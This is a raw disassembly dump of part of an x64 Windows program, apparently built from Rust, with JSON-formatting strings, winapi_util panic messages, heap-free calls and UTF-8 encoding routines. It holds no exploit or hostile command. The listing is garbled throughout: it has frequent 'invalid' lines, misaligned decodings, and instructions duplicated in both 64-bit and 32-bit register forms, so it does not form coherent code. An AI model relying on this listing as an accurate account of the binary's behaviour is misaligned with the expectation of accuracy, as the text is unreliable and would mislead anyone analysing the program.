sar esp, 1
dec dword [rax - 0x77]
test byte [rax + rbx*4], ah
and al, 0x98
mov qword [rsp + 0x98], rax
mov qword [rsp + 0xa0], rdi
mov dword [rsp + 0xa0], edi
and al, 0x98
add byte [rax], al
add byte [rax - 0x77], cl
invalid
mov esp, 0xa024
add byte [rax], al
mov dword [rsp + 0xa0], edi
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rbp*4], ah
mov qword [rsp + 0xa8], rax
lea rax, str.Error___line:___column:__bu
invalid
xor byte [rdi], al
invalid
invalid
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x730d6
invalid
xor byte [rdi], al
invalid
invalid
invalid
invalid
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 4
add al, 0
add byte [rax], al
add al, 0
add byte [rax], al
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x60], rbx
mov dword [rsp + 0x60], ebx
mov dword [rsp + 0x60], ebx
mov qword [rsp + 0x68], 3
and al, 0x68
add eax, dword [rax]
add byte [rax], al
mov rcx, qword [rsi + 0x20]
mov rdx, qword [rsi + 0x28]
lea r8, [rsp + 0x50]
and al, 0x50
and al, 0x50
call fcn.140042180
mov ebx, eax
ret
cmp qword [rsp + 0x38], 0
cmp dword [rsp + 0x38], 0
fdiv st(4), st(0)
dec dword [rcx + 0x7c8348c3]
ret
invalid
invalid
jl 0x1400744ab
invalid
ret
cmp dword [rsp + 0x38], 0
add byte [rsp + rdx + 0x4c], dh
mov eax, dword [rsp + 0x30]
and al, 0x30
je 0x14007449f
mov r8, qword [rsp + 0x30]
and al, 0x30
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x3bf69
invalid
add byte [rcx - 0x3b7eb728], cl
rol byte [rax], 0
add byte [rbx + 0x5f], bl
pop rbx
pop rdi
mov eax, ebx
add rsp, 0xc0
pop rbx
pop rdi
pop rsi
ret
lea rax, [0x1400e6708]
mov qword [rsp + 0x20], rax
and al, 0x20
lea rcx, str.a_Display_implementation_returned_an_error_unexpectedly
lea r9, [0x1400e6780]
lea r8, [rsp + 0x30]
and al, 0x30
and al, 0x30
mov edx, 0x37
call fcn.1400aa200
ud2
add byte [rdi], cl
or ecx, esp
int3
add byte [rax], al
add byte [rax - 0x75], cl
or dword [rax - 0x7d], ecx
jns 0x140074506
add byte [rdi], cl
test byte [rax + 0x48000000], al
lea eax, [rcx + 0x18]
mov qword [rsp + 0x28], rcx
sbb byte [rax - 0x77], cl
and al, 0x28
add rcx, 0x20
lea r8, [0x140074590]
add byte [rcx + rcx*4 + 0x44], cl
and al, 0x30
add byte [rax], al
add byte [rcx + rcx*4 + 0x44], cl
and al, 0x30
mov qword [rsp + 0x38], rax
lea rax, [fcn.1400415d0]
add eax, 0xfffcd0b6
add eax, 0xfffcd0b6
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rcx
mov dword [rsp + 0x48], ecx
mov qword [rsp + 0x50], rax
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rsp + 0x58], rax
and al, 0x58
and al, 0x58
pop rax
mov qword [rsp + 0x60], 3
mov qword [rsp + 0x78], 0
and al, 0x78
add byte [rax], al
add byte [rax], al
and al, 0x78
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0x28]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], 3
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
push rdx
sub byte [rbp + rcx*4 + 0x44], cl
and al, 0x58
push rdx
sub byte [rbp + rcx*4 + 0x44], cl
and al, 0x58
call fcn.140042180
nop
add rsp, 0x88
mov byte [rax], al
add byte [rax], al
adc al, 0xdc
cld
call qword [rax - 0x773b7eb8]
mov byte [rax], al
add byte [rax], al
ret
add rsp, 0x88
add byte [rax], al
ret
add byte [rax], al
jmp 0x140074590
int3
mov rax, qword [rcx]
lea r8, [0x1400efd30]
xchg esi, eax
mov bh, 7
add byte [rcx + 0x63], cl
add al, 0x80
add rax, r8
jmp rax
mov rax, qword [rcx + 8]
mov r8, qword [rcx + 0x10]
mov eax, dword [rcx + 0x10]
mov eax, dword [rcx + 0x10]
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
mov edx, dword [rdx + 0x28]
mov r9, qword [rdx + 0x18]
mov ecx, dword [rdx + 0x18]
mov rdx, rax
mov edx, eax
jmp r9
add rcx, 8
jmp 0x140080b70
sbb byte [rax - 0x73], cl
adc eax, 0x72cb9
lea rdx, [0x1400e7292]
mov r8d, 0x18
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
lea edx, [0x1400e72aa]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
invalid
lea edx, [0x1400e72aa]
adc eax, 0x72cb5
sub al, 7
add byte [rcx - 0x48], al
sbb eax, dword [rax]
add byte [rax], al
mov r8d, 0x1b
jmp rax
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x72cb4
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x72cb4
invalid
mov r8d, 0x1a
jmp rax
mov rax, qword [rax + 0x18]
lea rdx, [0x1400e72df]
mov r8d, 0x19
sbb dword [rax], eax
add byte [rax], al
sbb dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 1], cl
loopne case.0x14004b0fb.286
jmp rax
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
mov eax, dword [rax + 0x18]
invalid
invalid
mov eax, dword [rax + 0x18]
lea rdx, [0x1400e72f8]
adc eax, 0x72caf
add byte [rcx - 0x48], al
or al, 0
add byte [rax], al
invalid
mov r8d, 0xc
add byte [rax], al
add byte [rax - 1], cl
jmp rax
invalid
jmp rax
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x72c9f
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
adc eax, 0x72c9f
add byte [rcx - 0x48], al
adc eax, dword [rax]
add byte [rax], al
mov r8d, 0x13
jmp rax
sbb byte [rax - 0x73], cl
adc eax, 0x72c96
invalid
add byte [rcx - 0x48], al
adc eax, dword [rax]
add byte [rax], al
jmp rax
invalid
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x72c8d
invalid
sbb byte [rax - 0x73], cl
adc eax, 0x72c8d
invalid
invalid
add byte [rcx - 0x48], al
mov r8d, 0xe
jmp rax
invalid
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x72c7f
invalid
mov eax, dword [rax + 0x18]
lea rdx, [0x1400e7338]
invalid
add byte [rcx - 0x48], al
invalid
mov r8d, 0xe
jmp rax
lea rdx, [0x1400e7346]
mov r8d, 0xc
add byte [rcx - 0x48], al
or al, 0
add byte [rax], al
jmp rax
jmp rax
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
mov rax, qword [rax + 0x18]
lea rdx, [0x1400e7352]
adc eax, 0x72c61
adc eax, 0x72c61
mov r8d, 0xe
mov eax, 0xe
add byte [rax], al
add byte [rax - 1], cl
loopne 0x140074743
jmp rax
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400e7360]
sub al, 7
add byte [rcx - 0x48], al
invalid
add byte [rax], al
add byte [rax], al
sub al, 7
add byte [rcx - 0x48], al
invalid
add byte [rax], al
jmp rax
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x72c45
mov r8d, 0x13
add byte [rax], al
add byte [rax - 1], cl
invalid
add byte [rax], al
add byte [rax - 1], cl
loopne case.0x14002f3a6.509
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x72c3c
sub al, 7
invalid
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x72c3c
sub al, 7
invalid
sub al, 7
add byte [rcx - 0x48], al
sbb al, byte [rax]
add byte [rax], al
invalid
invalid
mov r8d, 0x1a
add byte [rax], al
add byte [rax - 1], cl
loopne 0x140074797
jmp rax
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400e739b]
adc eax, 0x72c3a
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x72c3a
mov r8d, 0x3e
jmp rax
add byte [rax], al
add byte [rax - 1], cl
loopne case.0x140075b85.821
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400e73d9]
invalid
invalid
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x72c5c
invalid
invalid
invalid
mov r8d, 0x14
jmp rax
jmp rax
jmp rax
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
invalid
invalid
sbb byte [rax - 0x73], cl
adc eax, 0x72c54
lea rdx, [0x1400e73ed]
invalid
mov r8d, 0x34
xor al, 0
add byte [rax], al
jmp rax
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x72c6c
insb byte [rdi], dx
sub al, 7
invalid
invalid
sbb byte [rax - 0x73], cl
adc eax, 0x72c6c
insb byte [rdi], dx
sub al, 7
invalid
invalid
insb byte [rdi], dx
sub al, 7
invalid
invalid
add byte [rcx - 0x48], al
mov r8d, 0x2c
sub al, 0
add byte [rax], al
jmp rax
jmp rax
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
mov eax, dword [rax + 0x18]
lea rdx, [0x1400e744d]
lea rdx, [0x1400e744d]
sub al, 7
add byte [rcx - 0x48], al
and al, 0
add byte [rax], al
mov r8d, 0x24
jmp rax
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x72c84
lea rdx, [0x1400e7471]
mov r8d, 0xe
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400e747f]
adc eax, 0x72c76
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x72c76
mov r8d, 0x13
adc eax, dword [rax]
add byte [rax], al
jmp rax
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
lea rdx, [0x1400e7492]
adc eax, 0x72c6d
mov r8d, 0x1c
jmp rax
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
mov rax, qword [rax + 0x18]
lea rdx, [0x1400e74ae]
adc eax, 0x72c6d
adc eax, 0x72c6d
mov r8d, 0x18
sbb byte [rax], al
add byte [rax], al
invalid
add byte [rax - 1], cl
loopne 0x140074817
jmp rax
int3
mov rsi, r8
mov rbx, rdx
mov rdi, rcx
mov edi, ecx
invalid
mov edi, ecx
mov rax, qword [rcx + 8]
mov r14, qword [rcx + 0x10]
sub rax, r14
cmp rax, r8
cmp eax, eax
invalid
cmp eax, eax
jb 0x140074896
mov rcx, qword [rdi]
add rcx, r14
cmovl eax, dword [rcx]
int1
mov rdx, rbx
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
add r14, rsi
add esi, esi
sbb eax, 0x1490003
test byte [rcx + rcx*4 + 0x77], 0x10
ja case.0x140075b85.809
add esi, esi
mov qword [rdi + 0x10], r14
ja case.0x140075b85.809
xor eax, eax
add rsp, 0x28
invalid
invalid
invalid
pop rbx
pop rdi
pop rsi
pop r14
pop rsi
pop rsi
ret
mov rcx, rdi
mov rdx, r14
mov edx, esi
mov edx, esi
mov r8, rsi
call fcn.1400ac2f0
jp 0x1400748a6
jp 0x1400748a6
add byte [rbx + rcx*4 + 0x77], cl
invalid
jp 0x1400748a6
add byte [rbx + rcx*4 + 0x77], cl
adc bl, ch
ja case.0x140046a5e.454
jmp 0x140074872
enter 0xffffffffffffcccc, 0xffffffffffffffcc
int3
int3
push rbx
sub rsp, 0x30
mov edi, edx
xlatb
xlatb
mov rsi, rcx
cmp edx, 0x80
add byte [rax], 0
invalid
invalid
add byte [rax], 0
add byte [rbx + 0x29], dh
add byte [rax], al
jae 0x1400748ed
mov rdx, qword [rsi + 0x10]
cmp rdx, qword [rsi + 8]
jne 0x1400748da
push rsi
or byte [rbp + 0xc], dh
mov rcx, rsi
int1
call fcn.1400749e0
mov rdx, qword [rsi + 0x10]
push rsi
invalid
push rsi
adc byte [rax - 0x75], cl
mov rax, qword [rsi]
mov byte [rax + rdx], dil
adc byte [rax - 1], cl
ret 0x8948
push rsi
adc cl, ch
ret 0
invalid
invalid
ret 0x8948
add bh, al
and al, 0x2c
add byte [rax], al
mov dword [rsp + 0x2c], 0
add byte [rax], al
mov eax, edi
cmp edi, 0x800
inc dword [rax]
or byte [rax], al
invalid
inc dword [rax]
or byte [rax], al
add byte [rbx + 0x1d], dh
add byte [rax], cl
add byte [rax], al
jae 0x14007491c
shr eax, 6
or al, 0xc0
invalid
call 0xc8c7550b
and al, 0x2c
ror byte [rax + 0x402c2444], 0x80
out 0x3f, eax
mov byte [rsp + 0x2c], al
and dil, 0x3f
and bh, 0x3f
or dil, 0x80
mov byte [rsp + 0x2d], dil
and al, 0x2d
sub eax, 0x2bf
add bl, ch
imul eax, dword [rcx + 0x10000ff], 0xc12a7300
add dword [rax], eax
jae 0x14007494e
shr eax, 0xc
or al, 0xe0
loopne 0x1400748b2
mov edi, 2
add al, byte [rax]
add byte [rax], al
jmp 0x140074985
cmp edi, 0x10000
add dword [rax], eax
jae 0x14007494e
shr eax, 0xc
or al, 0xe0
loopne 0x1400748b2
and al, 0x2c
loopne 0x1400748b2
and al, 0x2c
sub al, 0x89
clc
mov eax, edi
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x2d], al
and dil, 0x3f
or dil, 0x80
mov byte [rsp + 0x2e], dil
jl case.0x14002f3a6.524
mov edi, 3
jl case.0x14002f3a6.524
mov edi, 3
add eax, dword [rax]
add byte [rax], al
jmp 0x140074985
shr eax, 0x12
and al, 7
adc ah, byte [rdi + rax]
or al, 0xf0
mov byte [rsp + 0x2c], al
sub al, 0x89
clc
sub al, 0x89
clc
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x2d], al
mov eax, edi
shr eax, 6
and al, 0x3f
invalid
or al, 0x80
or byte [rax + 0x402e2444], 0x80
out 0x3f, eax
invalid
invalid
or byte [rax + 0x402e2444], 0x80
out 0x3f, eax
or dil, 0x80
mov byte [rsp + 0x2f], dil
mov edi, 4
mov rax, qword [rsi + 8]
mov rbx, qword [rsi + 0x10]
sub rax, rbx
or byte [rax - 0x75], cl
pop rsi
adc byte [rax + 0x29], cl
fmul dword [rax + 0x39]
clc
cmp rax, rdi
jb 0x1400749b9
mov rcx, qword [rsi]
add rcx, rbx
lea rdx, [rsp + 0x2c]
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
add eax, dword [rax]
add eax, dword [rax]
add byte [rax + 1], cl
sti
add rbx, rdi
mov qword [rsi + 0x10], rbx
mov dword [rsi + 0x10], ebx
xor eax, eax
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
mov rcx, rsi
mov ecx, esi
mov rdx, rbx
mov r8, rdi
call fcn.1400ac2f0
jns 0x1400749c9
add byte [rax - 0x75], cl
pop rsi
adc bl, ch
invalid
jns 0x1400749c9
add byte [rax - 0x75], cl
pop rsi
adc bl, ch
enter 0xffffffffffffcccc, 0xffffffffffffffcc
mov r8, rdx
lea rdx, [0x1400e66a0]
invalid
add cl, ch
invalid
xlatb
cld
invalid
invalid
sub esp, 0x58
inc rdx
inc edx
ret 0x840f
je case.0x1400281ec.781
add byte [rax], al
mov rsi, rcx
mov rax, qword [rcx + 8]
or byte [rax - 0x73], cl
or al, 0
lea rcx, [rax + rax]
lea ecx, [rax + rax]
cmp rcx, rdx
cmova rdx, rcx
cmp rdx, 9
mov edi, 8
or byte [rax], al
add byte [rax], al
or byte [rax], al
add byte [rax], al
add byte [rax + 0xf], cl
cli
add byte [rax], al
cmovae rdi, rdx
mov rdx, rdi
cli
not rdx
shr rdx, 0x3f
shr edx, 0x3f
shr edx, 0x3f
test rax, rax
je 0x140074a35
mov rcx, qword [rsi]
mov ecx, dword [rsi]
mov qword [rsp + 0x28], rcx
sub byte [rax - 0x39], cl
and al, 0x30
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x30], 1
mov qword [rsp + 0x38], rax
jmp 0x140074a3e
mov qword [rsp + 0x30], 0
lea rcx, [rsp + 0x40]
lea ecx, [rsp + 0x40]
lea r9, [rsp + 0x28]
lea r9, [rsp + 0x28]
mov r8, rdi
call fcn.140062e90
in al, 0xfe
dec dword [rax - 0x7d]
jl case.0x1400689bc.437
add byte [rax - 0x75], cl
and al, 0x48
in al, 0xfe
dec dword [rax - 0x7d]
jl case.0x1400689bc.437
add byte [rax - 0x75], cl
and al, 0x48
je case.0x1400689bc.437
movabs rax, 0x8000000000000001
cmp rcx, rax
cmp ecx, eax
cmp ecx, eax
je 0x140074a7f
test rcx, rcx
jne case.0x1400510a8.270
call fcn.1400401e0
ud2
mov qword [rsi], rcx
mov qword [rsi + 8], rdi
mov dword [rsi + 8], edi
add rsp, 0x58
pop rdi
pop rsi
ret
mov rdx, qword [rsp + 0x50]
call fcn.1400a9bd0
add byte [rdi], cl
invalid
add byte [rdi], cl
or ecx, esp
int3
int3
int3
int3
push rsi
sub rsp, 0x20
sub esp, 0x20
sub esp, 0x20
mov rax, qword [rcx + 0x40]
test rax, rax
je 0x140074b86
test ah, dl
add byte [rax], al
invalid
test ah, dl
add byte [rax], al
add byte [rax - 1], cl
enter 0xffffffffffff8948, 0x41
mov rdx, qword [rcx]
dec rax
mov qword [rcx + 0x40], rax
mov rdx, qword [rcx]
mov rax, qword [rcx + 8]
test rdx, rdx
ror byte [rdi], cl
test ch, al
add byte [rax], al
invalid
ror byte [rdi], cl
test ch, al
add byte [rax], al
add byte [rax - 0x7b], cl
test rax, rax
jne case.0x14002f3a6.553
ror byte [rdi], 0x85
mov esp, 0x48000000
lea rdx, [rcx + 0x10]
lea rdx, [rcx + 0x10]
mov rax, qword [rcx + 0x10]
mov r8, qword [rcx + 0x18]
mov eax, dword [rcx + 0x18]
adc byte [r11 + rcx*4 + 0x41], cl
sbb byte [rbp - 0x7b], cl
invalid
mov eax, dword [rcx + 0x18]
sbb byte [r13 - 0x7b], cl
test r8, r8
test eax, eax
sal byte [rbx + rdi*2 + 0x4d], 0x89
ror dword [rcx - 0x7d], 0xe1
and r9, 7
je 0x140074b5e
jnp case.0x1400281ec.789
mov r9, r8
mov ecx, eax
and r9, 7
loope 0x140074af1
je case.0x140028086.607
test byte [rcx + 0x45000001], ch
test eax, 0x45000001
add dword [rax], eax
add byte [rbp + 0x31], al
shl byte [rsi + 0x66], cl
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
nop dword [rax + rax]
xor r10d, r10d
xor edx, edx
nop word cs:[rax + rax]
nop dword [rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov rax, qword [rax + 0x278]
inc r10
inc edx
inc edx
cmp r9, r10
jne 0x140074b00
mov r9, r8
sub r9, r10
cmp r8, 8
clc
or byte [rdx + 0x43], dh
jb 0x140074b5e
nop dword [rax + rax]
add byte [rax], r8b
invalid
jb 0x140074b5e
add byte [rax - 0x75], cl
mov rax, qword [rax + 0x278]
cmp byte [rax + 2], 0
add byte [rax - 0x75], cl
cmp byte [rax + 2], 0
add byte [rax - 0x75], cl
mov rax, qword [rax + 0x278]
mov eax, dword [rax + 0x278]
mov rax, qword [rax + 0x278]
cmp byte [rax + 2], 0
js 0x140074b35
add al, byte [rax]
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rax + 0x278]
mov rax, qword [rax + 0x278]
cmp byte [rax + 2], 0
add byte [rax - 0x75], cl
cmp byte [rax + 2], 0
add byte [rax - 0x75], cl
mov rax, qword [rax + 0x278]
mov rax, qword [rax + 0x278]
invalid
invalid
mov rax, qword [rax + 0x278]
mov eax, dword [rax + 0x278]
mov rax, qword [rax + 0x278]
js 0x140074b51
add byte [rax], al
mov rax, qword [rax + 0x278]
cmp byte [rax + 2], 0
add byte [rcx - 0x7d], cl
sar eax, 0x75
js 0x140074b58
add byte [rax], al
add r9, 0xfffffffffffffff8
jne 0x140074b20
invalid
ret 0x570f
xorps xmm0, xmm0
movups xmmword [rdx], xmm0
mov qword [rcx], 1
add dword [rcx], eax
add byte [rax], al
add byte [rax - 0x77], cl
mov dword [rcx + 8], eax
mov dword [rcx + 8], eax
or byte [r9], sil
rol byte [rbp + 0x31], cl
leave
xor edx, edx
xor r9d, r9d
movzx r8d, word [rax + 0x272]
mov bh, 0x80
jb 0x140074b7c
add byte [rax], al
cmp rdx, r8
jae 0x140074bb0
mov r8, rax
jmp 0x140074bd7
xor eax, eax
add rsp, 0x20
pop rsi
ret
test rdx, rdx
test edx, edx
je 0x140074cc5
mov r9, qword [rcx + 0x10]
mov ecx, dword [rcx + 0x10]
mov rdx, qword [rcx + 0x18]
movzx r8d, word [rax + 0x272]
cmp rdx, r8
jb 0x140074b81
nop dword [rax]
invalid
mov r8, qword [rax + 0x160]
test r8, r8
je 0x140074cab
inc r9
movzx edx, word [rax + 0x270]
jo case.0x140032048.538
add byte [rax], al
jo case.0x140032048.538
add byte [rax], al
mov rax, r8
cmp dx, word [r8 + 0x272]
add byte [rbx - 0x27], dh
add byte [rbx - 0x27], dh
invalid
test r9, r9
je 0x140074c1d
invalid
mov r10, qword [r8 + rdx*8 + 0x280]
mov r10, qword [r8 + rdx*8 + 0x280]
xchg esp, eax
rol byte [rax + 0x4c000002], 1
mov eax, ecx
mov rax, r9
dec rax
je 0x140074c18
enter 0x2c74, 0x49
add ecx, 0xfffffffe
add r9, 0xfffffffffffffffe
mov r11, rax
and r11, 7
invalid
je 0x140074c12
invalid
xor esi, esi
nop dword [rax + rax]
add byte [rax], r8b
add byte [rax], r8b
mov r10, qword [r10 + 0x278]
inc rsi
cmp r11, rsi
jne 0x140074c00
jne 0x140074c00
sub rax, rsi
cmp r9, 7
cmp ecx, 7
jae case.0x140050f92.414
xor r9d, r9d
leave
jmp 0x140074c6e
lea r9, [rdx + 1]
mov r10, r8
jmp 0x140074c6e
add dword [rbp - 0x77], ecx
ret 0x48eb
xor r9d, r9d
leave
nop dword [rax]
invalid
mov r10, qword [r10 + 0x278]
mov r10, qword [r10 + 0x278]
xchg edx, eax
js 0x140074c3e
add byte [rax], al
xchg edx, eax
js 0x140074c3e
add byte [rax], al
mov r10, qword [r10 + 0x278]
mov r10, qword [r10 + 0x278]
mov edx, dword [rdx + 0x278]
mov edx, dword [rdx + 0x278]
add al, byte [rax]
add byte [rbp - 0x75], cl
xchg edx, eax
js 0x140074c53
invalid
mov r10, qword [r10 + 0x278]
add al, byte [rax]
add byte [rbp - 0x75], cl
xchg edx, eax
js 0x140074c5a
add byte [rax], al
mov r10, qword [r10 + 0x278]
add byte [rax], al
mov r10, qword [r10 + 0x278]
mov r10, qword [r10 + 0x278]
mov edx, dword [rdx + 0x278]
js 0x140074c68
add al, byte [rax]
add byte [rax - 0x7d], cl
sar al, 0x75
invalid
add byte [rax], al
add rax, 0xfffffffffffffff8
jne 0x140074c30
invalid
ret 0x8d48
lea rax, [rdx + rdx*2]
add al, 0x52
lea rax, [r8 + rax*8]
add al, 0xc0
add rax, 0x168
shl rdx, 5
add rdx, r8
mov qword [rcx + 8], r10
mov qword [rcx + 0x10], 0
mov qword [rcx + 0x18], r9
add rsp, 0x20
pop rsi
ret
ret 0x894c
mov r9, r8
cmp r8, 8
jae 0x140074b20
cmp dword [rdx - 2], 0xffffffff
invalid
cmp dword [rdx - 2], 0xffffffff
invalid
jmp 0x140074b5e
invalid
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea r8, [0x1400e8518]
add byte [rdx + 0x2b], bh
add byte [rdx + 0x2b], bh
sub eax, dword [rax]
add byte [rax], al
add al, ch
lodsd eax, dword [rsi]
call fcn.1400a9e70
push rcx
add eax, dword [rax]
invalid
add byte [rdi], cl
or ecx, dword [rax - 0x73]
or eax, 0x79994
ud2
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea r8, [0x1400e7b88]
mov edx, 0x2b
add byte [rax], al
call fcn.1400a9e70
ud2
invalid
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x88
mov r9, rdx
mov ecx, edx
mov ecx, edx
mov rdi, rcx
mov edi, ecx
movzx eax, byte [rcx]
lea rcx, [0x1400efd94]
or eax, 0x7b091
movsxd rax, dword [rcx + rax*4]
add rax, rcx
or dword [rax + 1], 0x49e0ffc8
jmp rax
mov rax, qword [r9]
mov eax, dword [rcx]
mov r15, qword [rax]
lea rsi, str.nullfalsetrue__b_f_n_r_t0123456789abcdef_____n
lea esi, str.nullfalsetrue__b_f_n_r_t0123456789abcdef_____n
xor edi, edi
lea r12, [0x1400efe9c]
and eax, 0x7b17a
lea esp, [0x1400efe9c]
and eax, 0x7b17a
mov r13, qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140074d3a
add bl, ch
invalid
add byte [rax], r8b
cmp byte [rbx + 0x10], 0x23
jne 0x140074dd4
invalid
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov rcx, qword [r15 + 0x20]
mov rax, qword [r15 + 0x28]
mov r8d, 4
mov eax, 4
mov eax, 4
add byte [rax], al
add byte [rax - 0x77], cl
bnd call qword [rax + 0x18]
mov rdx, rsi
call qword [rax + 0x18]
test al, al
je case.0x140028086.680
invalid
add byte [rax], al
or eax, 0x55e80000
adc byte [rax], al
add byte [rax], al
mov rbx, rax
call fcn.140075db0
add byte [rax], al
mov rbx, rax
mov ebx, eax
and eax, 3
loopne case.0x140075009.30
add ecx, dword [rcx + 0x63]
add al, 0x84
invalid
movsxd rax, dword [r12 + rax*4]
invalid
test byte [rcx + rax - 0x20], cl
add rax, r12
jmp rax
jae 0x140074d73
dec dword [rax - 0x75]
imul eax, dword [rdi], 0x4c
mov rcx, r14
mov rbp, qword [rbx + 7]
mov rcx, r14
call qword [rbp]
cmp qword [rbp + 8], 0
jge 0x140074d8a
invalid
je 0x140074d9f
add byte [rax - 0x7d], cl
jge 0x140074d8a
add byte [rdx + rbx + 0x48], dh
cmp dword [rbp + 0x10], 0x11
adc byte [rcx], dl
cmp qword [rbp + 0x10], 0x11
adc byte [rcx], dl
jb case.0x140028086.616
mov r14, qword [r14 - 8]
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
xor edx, edx
mov r8, r14
invalid
invalid
call r13
dec rbx
mov rcx, qword [0x1400f91f8]
retf
xor edx, edx
mov r8, rbx
invalid
mov eax, ebx
fadd dword [rcx - 1]
invalid
call r13
jmp 0x140074d3a
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
mov rax, rbx
fmul dword [rax - 0x3f]
shr rax, 0x20
cmp rax, 0x23
cmp eax, 0x23
call 0x1388a95ea
and ecx, dword [rdi]
test byte [rcx - 1], ch
invalid
invalid
invalid
cmp eax, 0x23
je 0x140074d3a
imul edi, edi, 0xf883ffff
sub byte [rax - 0x77], cl
fldl2t
sbb ecx, dword [rsi]
add byte [rax], al
cmp eax, 0x28
mov rcx, rbx
jmp 0x140075bf7
cmp byte [rdi + 1], 0
jg 0x140074de0
add byte [rcx - 0x75], cl
add dword [rbx + rcx*4 + 0x38], ecx
mov rax, qword [r9]
mov r15, qword [rax]
je case.0x14004b0fb.298
add al, 0
add byte [rax - 0x73], cl
lea rbx, [0x1400e76d1]
lea rbx, [0x1400e76d1]
add byte [rcx], dh
dec dword [rbp + rcx*4 + 0x25]
xor edi, edi
lea r12, [0x1400efe7c]
xor byte [rax - 0x74b3fff9], 0x2d
add eax, 0xeb0003b6
invalid
xor byte [rax - 0x74b3fff9], 0x2d
mov al, 7
add byte [rbx + rcx*4 + 0x2d], cl
invalid
add eax, 0xeb0003b6
adc eax, 0xf2e6666
nop word cs:[rax + rax]
cmp byte [rsi + 0x10], 0x23
jne case.0x140074e48.2
ret
invalid
add byte [rax], al
invalid
ret
add byte [rax], al
mov rcx, qword [r15 + 0x20]
mov rax, qword [r15 + 0x28]
mov r8d, 4
mov rdx, rbx
invalid
call qword [rax + 0x18]
test al, al
je case.0x140028086.680
invalid
call fcn.140075db0
mov rsi, rax
and eax, 3
movsxd rax, dword [r12 + rax*4]
invalid
add al, 0x84
add byte [rax - 0x77], cl
